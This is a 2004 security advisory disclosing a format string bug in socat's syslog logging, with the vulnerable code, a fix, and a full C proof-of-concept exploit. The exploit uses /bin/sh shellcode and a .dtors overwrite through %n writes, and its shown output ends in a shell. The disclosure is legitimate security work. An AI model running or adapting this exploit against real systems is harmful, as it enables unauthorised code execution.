------------------------------------------------- No System Group - Advisory #07 - 18/10/04 ------------------------------------------------- Program: Socat Homepage: http://www.dest-unreach.org/socat/ Vulnerable Versions: Socat 1.4.0.2 and below Risk: Low / Medium Impact: Local Format String Vulnerability ------------------------------------------------- - DESCRIPTION ------------------------------------------------- Socat is a relay for bidirectional data transfer between two independent data channels. Each of these data channels may be a file, pipe, device (terminal or modem, etc.), socket (Unix, IP4, IP6 - raw, UDP, TCP), a client for SOCKS4, proxy CONNECT, or SSL, etc. It provides forking, logging, and dumping, different modes for interprocess communication, and many more options. It can be used, for example, as a TCP relay (one-shot or daemon), as a daemon-based socksifier, as a shell interface to Unix sockets, as an IP6 relay, for redirecting TCP-oriented programs to a serial line, or to establish a relatively secure environment (su and chroot) for running client or server shell scripts with network connections. More informations at: http://www.dest-unreach.org/socat/ - DETAILS ------------------------------------------------- Socat is affected by a format string bug in the void _msg() function to 220 lines of error.c code: --- error.c --- 215:static void _msg(int level, const char *buff, const char *syslp) { 216: if (diagopts.logstderr) { 217: fputs(buff, stderr); fflush(stderr); 218: } 219: if (diagopts.syslog) { 220: syslog(syslevel[level], syslp); 221: } 222: if (diagopts.logfile) { 223: fputs(buff, diagopts.logfile); fflush(diagopts.logfile); 224: } 225:} --- error.c --- We can show some parts of the stack memory by using a format string loke this: coki@servidor:~/audit$ socat -lyAAAA%30\$p 2004/10/18 13:13:07 socat[25191] E unknown syslog facility "AAAA%30$p" coki@servidor:~/audit$ tail -n 1 /var/log/syslog Oct 18 13:13:07 servidor socat[25191]: E unknown syslog facility "AAAA0x41414141" coki@servidor:~/audit$ - EXPLOIT ------------------------------------------------- ------------------ socat_exp.c ------------------ /* socat_exp.c Socat Format String Vulnerability socat <= 1.4.0.2 local exploit (Proof of Concept) Tested in Slackware 9.0 / 9.1 / 10.0 by CoKi No System Group - http://www.nosystem.com.ar */ #include #include #define PATH "/usr/local/bin/socat" #define OBJDUMP "/usr/bin/objdump" #define GREP "/usr/bin/grep" unsigned char shellcode[]= /* aleph1 shellcode.45b */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c" "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb" "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" "\x2f\x73\x68"; int check(unsigned long addr); int main(int argc, char *argv[]) { int i, dtorsaddr; unsigned int bal1, bal2, bal3, bal4; char temp[512]; char buffer[1024]; int cn1, cn2, cn3, cn4; FILE *f; char *env[3] = {shellcode, NULL}; int shaddr = 0xbffffffa - strlen(shellcode) - strlen(PATH); sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP); f = popen(temp, "r"); if(fscanf(f, " %08x", &dtorsaddr) != 1) { pclose(f); printf("Cannot find .dtors address\n"); exit(1); } pclose(f); dtorsaddr = dtorsaddr + 4; printf("\n socat <= 1.4.0.2 local exploit (Proof of Concept)\n"); printf(" by CoKi \n\n"); printf(" shellcode address = %.8p\n", shaddr); printf(" .dtors address = %.8p\n\n", dtorsaddr); bzero(temp, sizeof(temp)); bzero(buffer, sizeof(buffer)); strcat(buffer, "-ly"); for(i = 0; i < 4; i++) { bzero(temp, sizeof(temp)); sprintf(temp, "%s", &dtorsaddr); strncat(buffer, temp, 4); dtorsaddr++; } bal1 = (shaddr & 0xff000000) >> 24; bal2 = (shaddr & 0x00ff0000) >> 16; bal3 = (shaddr & 0x0000ff00) >> 8; bal4 = (shaddr & 0x000000ff); cn1 = bal4 - 27 - 16; cn1 = check(cn1); cn2 = bal3 - bal4; cn2 = check(cn2); cn3 = bal2 - bal3; cn3 = check(cn3); cn4 = bal1 - bal2; cn4 = check(cn4); sprintf(temp, "%%%du%%30\$n%%%du%%31\$n%%%du%%32\$n%%%du%%33\$n", cn1, cn2, cn3, cn4); strcat(buffer, temp); execle(PATH, "socat", buffer, NULL, env); } int check(unsigned long addr) { char tmp[128]; snprintf(tmp, sizeof(tmp), "%d", addr); if(atoi(tmp) < 1) addr = addr + 256; return addr; } ------------------ socat_exp.c ------------------ coki@servidor:~$ make socat_exp coki@servidor:~$ ./socat_exp socat <= 1.4.0.2 local exploit (Proof of Concept) by CoKi shellcode address = 0xbfffffb9 .dtors address = 0x080740c4 2004/10/19 09:49:46 socat[26197] E unknown syslog facility "ÄÅÆÇ%142u%30$n%70u%31$n%256u%32$n%192u%33$n" sh-2.05b$ This exploit does not give a root shell :( - SOLUTIONS ------------------------------------------------- Change the void _msg() function of error.c code: --- error.c --- 215:static void _msg(int level, const char *buff, const char *syslp) { 216: if (diagopts.logstderr) { 217: fputs(buff, stderr); fflush(stderr); 218: } 219: if (diagopts.syslog) { 220: syslog(syslevel[level], "%s", syslp); // <--- here 221: } 222: if (diagopts.logfile) { 223: fputs(buff, diagopts.logfile); fflush(diagopts.logfile); 224: } 225:} --- error.c --- - REFERENCES ------------------------------------------------- http://www.nosystem.com.ar/advisories/advisory-07.txt - CREDITS ------------------------------------------------- Discovered by CoKi No System Group - http://www.nosystem.com.ar